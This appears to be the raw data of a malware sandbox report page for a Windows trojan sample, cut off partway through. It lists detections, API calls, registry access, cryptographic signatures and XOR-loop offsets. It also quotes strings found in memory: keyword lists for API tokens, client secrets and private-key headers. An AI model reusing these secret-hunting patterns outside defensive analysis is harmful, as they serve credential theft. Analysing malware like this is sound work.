24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 79:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4e2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64/GenKryptik_AGeneric.FHW trojan Sample ce1eb64fc046… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ce1eb64fc046…. Malware family: Win64/GenKryptik_AGeneric.FHW trojan. Threat score 100/100. 6/28 AV engines flagged this file. 8 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","keywords":["Malicious","Win64/GenKryptik_AGeneric.FHW trojan","malware analysis","sandbox report","threat intelligence","ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win64/GenKryptik_AGeneric.FHW trojan","antivirusDetections":{"malicious":6,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T48e,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp, 00000000-00006552.00000001.275090.A0456000.00000004.mdmp") Found string "ile:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp")26:Tcab,Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "file") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "file") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "file") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "file") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "file") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "NtQueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API "NtDelayExecution" (Indicator: "NtDelayExecution"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp")27:T745,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")28:T505,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp")29:T7e2,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\POWERSHELL\SCRIPTBLOCKLOGGING") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\POWERSHELL\SCRIPTBLOCKLOGGING") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DESHASHSESSIONKEYBACKWARD") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY")2a:T9d5,"file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2952042884 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2952051216 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2952198999 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2952207666 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2955877695 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2955885711 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2955955061 [PID: 6548] "file.exe" queried SystemProcessInformation at 00000000-00006548-00000C15-2955962614 [PID: 6548] "uzbektajik.exe" queried SystemProcessInformation at 00000000-00006976-00000C15-2958650255 [PID: 6976] "uzbektajik.exe" queried SystemProcessInformation at 00000000-00006976-00000C15-2958658077 [PID: 6976] "uzbektajik.exe" queried SystemProcessInformation at 00000000-00006976-00000C15-2958926810 [PID: 6976] "uzbektajik.exe" queried SystemProcessInformation at 00000000-00006976-00000C15-2958935165 [PID: 6976] "helper.exe" queried SystemProcessInformation at 00000000-00006700-00000C15-2962200953 [PID: 6700] "helper.exe" queried SystemProcessInformation at 00000000-00006700-00000C15-2962209434 [PID: 6700] "powershell.exe" queried SystemProcessInformation at 00000000-00008084-00000C15-2972470148 [PID: 8084] "powershell.exe" queried SystemProcessInformation at 00000000-00008084-00000C15-2972479758 [PID: 8084] "tasklist.exe" queried SystemProcessInformation at 00000000-00004512-00000C15-2961600080 [PID: 4512] "tasklist.exe" queried SystemProcessInformation at 00000000-00004512-00000C15-2961609494 [PID: 4512] "powershell.exe" queried SystemProcessInformation at 00000000-00006552-00000C15-2967736175 [PID: 6552] "powershell.exe" queried SystemProcessInformation at 00000000-00006552-00000C15-2967744320 [PID: 6552] "powershell.exe" queried SystemProcessInformation at 00000000-00006552-00000C15-2968607484 [PID: 6552] "powershell.exe" queried SystemProcessInformation at 00000000-00006552-00000C15-2968617019 [PID: 6552] "lss.exe" queried SystemProcessInformation at 00000000-00006124-00000C15-2962827418 [PID: 6124] "lss.exe" queried SystemProcessInformation at 00000000-00006124-00000C15-2962836362 [PID: 6124] "lss.exe" queried SystemProcessInformation at 00000000-00006124-00000C15-2963065706 [PID: 6124]2b:Tdcc,Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "file") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "file") Found api reference "CertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; File: "file") Found api reference "CertDuplicateCertificateChain" (Indicator: "CertDuplicateCertificateChain"; File: "file") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "file") Found api reference "CertDuplicateStore" (Indicator: "CertDuplicateStore"; File: "file") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; File: "file") Found api reference "CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; File: "file") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "file") Found api reference "CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; File: "file") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; File: "file") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertDuplicateCertificateChain" (Indicator: "CertDuplicateCertificateChain"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertDuplicateCertificateContext" (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertDuplicateStore" (Indicator: "CertDuplicateStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CryptUnprotectData" (Indicator: "CryptUnprotectData"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CryptStringToBinaryA" (Indicator: "CryptStringToBinaryA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertCreateCertificateContext" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp")2c:T708,Found string "private_keymissing private key`DateTime + TimeDelta` overflowed" (Indicator: "private key"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "invalid private key formatidentity.private_key.reusedidentity.private_key.generate/identity.private_key.roundtrip plaintext_bytes=" (Indicator: "private key"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "api keyapi_keyapi tokenapi_tokenaccess tokenaccess_tokenauth tokenauth_tokenclient secretclient_secretsecret keysecret_keyprivate key" (Indicator: "private key"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "-----BEGIN PRIVATE KEY----------BEGIN RSA PRIVATE KEY----------BEGIN EC PRIVATE KEY----------BEGIN OPENSSH PRIVATE KEY----------BEGIN ENCRYPTED PRIVATE KEY-----" (Indicator: "private key"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "[private key redacted]bridge-forensics-clipboardspawning forensic clipboard collector" (Indicator: "private key"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "Validation of public key failed." (Indicator: "public key"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") file/memory contains long string with (Indicator: "private key"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The Software Licensing Service reported that the product could not be activated. The certificate cannot be used because its private key is exportable." (Indicator: "private key"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp")2d:T617,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains reference to cryptographic keys Matched sigs: Possibly contains Public/Private key (encryption) Matched sigs: Able to use RSA keys for encryption and decryption Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms2e:T752f,Found XOR loop in file "itsub.exe" at offset 2995912; code bytes = 30d0 Found XOR loop in file "itsub.exe" at offset 3439102; code bytes = 30d0 Found XOR loop in file "itsub.exe" at offset 3925253; code bytes = 30d0 Found XOR loop in file "itsub.exe" at offset 1144649; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 2787337; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 3020442; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 3277202; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4221193; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4296066; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4296071; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4296094; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4296099; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4518713; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4518830; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4608068; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 4650857; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 5104189; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 5104194; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 5175041; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 5205965; code bytes = 33c1 Found XOR loop in file "itsub.exe" at offset 148839; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 185797; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 186309; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 194026; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 202373; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 202885; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 259446; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 265698; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 266342; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 271688; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 271993; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 275020; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 275200; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 333475; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 371721; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 372073; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 438412; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 439116; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 463244; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 463948; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 750993; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 833962; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 838782; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 841219; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 866631; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 876852; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1041654; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1049636; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1246688; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1288927; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1301850; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1874155; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1875067; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1906123; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 1907035; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2003795; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2114496; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2114603; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2114654; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2636064; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2636078; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2636160; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2636174; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2636239; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 2636257; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3389845; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3390273; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3390394; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3425136; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3425485; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3426364; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3426652; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3489813; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3490115; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3490346; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3492737; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3493207; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3493836; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3494060; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3584008; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3584526; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3605570; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3607926; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 3610472; code bytes = 8030 Found XOR loop in file "itsub.exe" at offset 4425740; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 258670; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 380030; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 400496; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 784933; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 807942; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 854084; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1013181; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1295046; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1338001; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1362107; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1399978; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1422071; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1437861; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1477585; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1506563; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1517703; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1529677; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1648823; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1692931; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1789005; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1810963; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1837636; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1838162; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2026932; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2118605; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2174141; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2468229; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2468365; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2470497; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2470885; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2471589; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2473541; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2473765; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2474421; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2474457; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2475201; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2475313; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2616701; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2810009; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 2911504; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 3103402; code bytes = 30d0 Found XOR loop in file "uzbektajik.exe" at offset 1054355; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1158041; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1160311; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1180672; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1238507; code bytes = 33c1 Found XOR 